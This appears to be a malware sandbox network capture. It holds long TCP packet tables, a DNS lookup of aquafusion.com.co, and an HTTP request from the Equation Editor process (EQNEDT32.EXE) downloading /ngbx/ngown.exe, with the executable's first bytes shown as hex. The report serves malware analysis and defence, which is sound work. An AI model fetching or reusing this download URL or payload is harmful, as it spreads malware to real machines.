Dec 10, 2024 14:20:54.920607090 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.920661926 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.920691013 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.920734882 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.921264887 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.921304941 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.921335936 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.921380043 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.922029972 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.922080040 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.922194958 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.922257900 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.922863960 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.922913074 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.922938108 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.922980070 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.923588037 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.923645973 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.923660040 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.923713923 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.924438000 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.924457073 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.924489021 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.924503088 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.925143957 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.925194025 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.925209999 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.925246954 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.926007032 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.926064014 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.926153898 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.926193953 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.926696062 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.926745892 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.926760912 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.926810026 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.927479029 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.927529097 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.927583933 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.927629948 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.928450108 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.928462982 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.928560972 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.930200100 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.930217981 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.930229902 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.930242062 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.930254936 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.930278063 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.930298090 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.930741072 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.930789948 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.930809975 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.930840015 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.931536913 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.931550026 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.931598902 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.932193995 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.932207108 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.932235956 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.932235956 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.932907104 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.932990074 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.933546066 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.933592081 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.933765888 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.933823109 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.934467077 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.934524059 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.934750080 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.934770107 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.934794903 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.934839010 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.935379982 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.935420036 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.935528040 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.935578108 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.936105013 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.936156034 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.936165094 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.936218977 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.936810970 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.936868906 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.936908960 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.936949968 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.937552929 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.937593937 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.937959909 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.938015938 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.938626051 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.938638926 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.938688040 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.939265013 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.939280033 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.939320087 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.939320087 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.939960957 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.940018892 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.940042019 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.940078020 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.940939903 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.940990925 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.940994024 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.941059113 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.941523075 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.941534042 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.941577911 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.941579103 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.942235947 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.942289114 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.942637920 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.942679882 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.943094969 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.943108082 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.943161964 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.943996906 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.944010973 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.944061041 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.944709063 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.944720984 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.944758892 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.945400953 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.945413113 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.945483923 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.946155071 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.946209908 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.946213961 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.946265936 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.946959019 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.947026014 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.947346926 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.947392941 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.947772980 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.947784901 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.947817087 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.947839022 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.948713064 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.948725939 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.948765039 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.949575901 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.949588060 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.949640989 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.949640989 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.950265884 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.950334072 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.950344086 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.950395107 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.955718040 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.955802917 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.955857038 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.955883980 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.956078053 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.956131935 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.956132889 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.956146002 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.956192970 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.956192970 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.956661940 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.956731081 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.956731081 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.956773043 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.957412004 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.957488060 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:55.104825020 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:55.104934931 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:55.104943991 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:55.105304956 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:55.105345011 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:55.105345011 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:55.105514050 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:55.105551958 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:55.105943918 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:55.106029987 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:55.106066942 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:55.106141090 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:55.106769085 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:55.106851101 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:55.107069969 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:55.107178926 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:55.107433081 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:55.107476950 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:55.107724905 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:55.107765913 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:55.108215094 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:55.108267069 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:55.108268023 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:55.108930111 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:55.108975887 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:55.108975887 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:55.109165907 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:55.109267950 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:55.109786034 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:55.109831095 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:55.109860897 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:55.109942913 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:55.110465050 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:55.110594034 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:55.110630035 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:55.110630035 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:55.111491919 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:55.111505032 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:55.111793041 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:55.112025976 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:55.112066984 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:55.112138987 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:55.112215996 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:55.112807035 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:55.112848997 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:55.112925053 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:55.113008022 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:55.113523960 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:55.113567114 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:55.113631010 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:55.113692999 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:55.114326000 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:55.114403963 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:55.114463091 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:55.114533901 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:55.115219116 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:55.115333080 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:55.115345001 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:55.115403891 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:55.115884066 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:55.115956068 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:55.115997076 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:55.116066933 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:55.116657972 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:55.116708994 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:55.116729975 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:55.116884947 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:55.117453098 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:55.117500067 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:55.117744923 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:55.117793083 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:55.118175030 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:55.118218899 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:55.118552923 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:55.118633032 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:55.119045973 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:55.119107962 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:55.119236946 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:55.119296074 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:55.119851112 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:55.119863987 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:55.119899988 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:55.119925976 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:55.120572090 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:55.120634079 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:55.120671988 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:55.120721102 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:55.121325970 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:55.121337891 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:55.121371984 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:55.121395111 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:55.122167110 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:55.122179985 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:55.122232914 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:55.122232914 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:55.122855902 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:55.122900963 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:55.122940063 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:55.122940063 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:55.123768091 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:55.123780966 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:55.123842955 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:55.124444008 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:55.124495983 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:55.124806881 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:55.124917030 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:55.125560045 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:55.125572920 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:55.125612974 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:55.125612974 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:55.126137972 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:55.126148939 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:55.126276016 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:55.126909971 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:55.126921892 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:55.126965046 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:55.127610922 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:55.127623081 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:55.127686977 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:55.128552914 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:55.128566027 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:55.128604889 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:55.129317045 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:55.129332066 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:55.129369974 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:55.129369974 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:55.129936934 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:55.129950047 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:55.130038977 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:55.130776882 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:55.130789995 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:55.130893946 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:55.131571054 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:55.131583929 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:55.131622076 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:55.132369995 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:55.132380962 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:55.132427931 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:55.133183002 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:55.133197069 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:55.133244991 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:55.133244991 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:57.483443975 CET	49165	80	192.168.2.22	190.90.160.170

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 10, 2024 14:20:51.070528984 CET	54562	53	192.168.2.22	8.8.8.8
Dec 10, 2024 14:20:51.811662912 CET	53	54562	8.8.8.8	192.168.2.22

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 10, 2024 14:20:51.070528984 CET	192.168.2.22	8.8.8.8	0x5b3e	Standard query (0)	aquafusion.com.co	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 10, 2024 14:20:51.811662912 CET	8.8.8.8	192.168.2.22	0x5b3e	No error (0)	aquafusion.com.co		190.90.160.170	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

aquafusion.com.co

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.22	49165	190.90.160.170	80	3608	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 14:20:51.945811987 CET	318	OUT	GET /ngbx/ngown.exe HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: aquafusion.com.co Connection: Keep-Alive
Dec 10, 2024 14:20:53.183305979 CET	1236	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: application/x-msdownload last-modified: Tue, 10 Dec 2024 07:12:19 GMT accept-ranges: bytes content-length: 1051136 date: Tue, 10 Dec 2024 13:20:52 GMT server: LiteSpeed Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 36 1c ad cf 72 7d c3 9c 72 7d c3 9c 72 7d c3 9c 34 2c 22 9c 70 7d c3 9c ec dd 04 9c 73 7d c3 9c 7f 2f 1c 9c 41 7d c3 9c 7f 2f 23 9c c3 7d c3 9c 7f 2f 22 9c 47 7d c3 9c 7b 05 40 9c 7b 7d c3 9c 7b 05 50 9c 57 7d c3 9c 72 7d c2 9c 52 7f c3 9c 0f 04 29 9c 22 7d c3 9c 0f 04 1c 9c 73 7d c3 9c 7f 2f 18 9c 73 7d c3 9c 72 7d 54 9c 73 7d c3 9c 0f 04 1d 9c 73 